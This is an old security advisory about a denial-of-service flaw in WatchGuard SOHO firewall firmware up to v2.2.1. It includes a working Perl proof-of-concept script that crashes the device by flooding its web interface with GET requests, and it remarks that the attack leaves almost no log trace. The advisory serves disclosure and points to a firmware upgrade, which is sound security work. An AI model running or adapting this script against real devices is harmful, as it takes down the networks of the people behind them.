COMMAND
WatchGuard
SYSTEMS AFFECTED
WatchGuard SOHO <= v2.2.1
PROBLEM
Following is based on a Securax Advisory #10 concerning WatchGuard
SOHO <= v2.2.1 DoS. Credit goes to Cicer0 for original error
discovery -*- vorlon for advisory, exploit code and additional
testing.
The Watchguard SOHO Firewall is a small personal hardware firewall
used for xDSL, ISDN and Cable connections. The Firewall uses a
packet filtering based approach including Dynamic NAT'ting. There
is option for one machine in a DMZ and has support for VPN. The
SOHO model is intended for small office and home office users. To
configure the firewall there is a html interface accessible to the
local side (default) and even remote side (through password).
Local and Remote users can crash the Watchguard SOHO Firewall
using alot (+ 70) of GET requests to the webserver on the machine.
While sending these request we can see the free memory getting
down very fast (from 700k to 500k after just a few requests).
Reproduction of the problem:
#!/usr/bin/perl
#
# You can also connect to the Watchguard SOHO through your
# browser and press F5 like a maniac on speed to get the
# firewall crashing. So, either you run the .pl script or
# you fire up your webbrowser... Either way, it works.
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
# (c)Proof of concept, vorlon <filip@securax.be>
# ----------------------------------------------------------
use IO::Socket;
$host = "your_watchguard_ip";
$port = "your_port";
$repeat = "100";
$request = "GET / HTTP/1.0";
print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Failed.\n";
$counter = 0;
print "Repeating request for $repeat times.\n";
while($counter < $repeat) {
print $socket "$request\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "\nThe Watchguard SOHO has crashed. BEEFCAKE!...\n";
print ".";
$counter += 1;
}
print "\nDone.\n\n";
close($socket);
After using this exploit, the Firewall has been rendered useless
and will reboot or simply crash and burn (in this case, you'll
have to pull the plug to reset the machine). In case of a
spontanious reboot, the downtime of the firewall, thus
functionality of the company, is considered to be between one
minute and five minutes. If one is constantly running exploit
code, the firewall can be kept under a constant outage. This
attack will not show up in the logfile except for a reboot notice.
SOLUTION
Upgrade to a more recent Firmware ( > 2.2.1 ).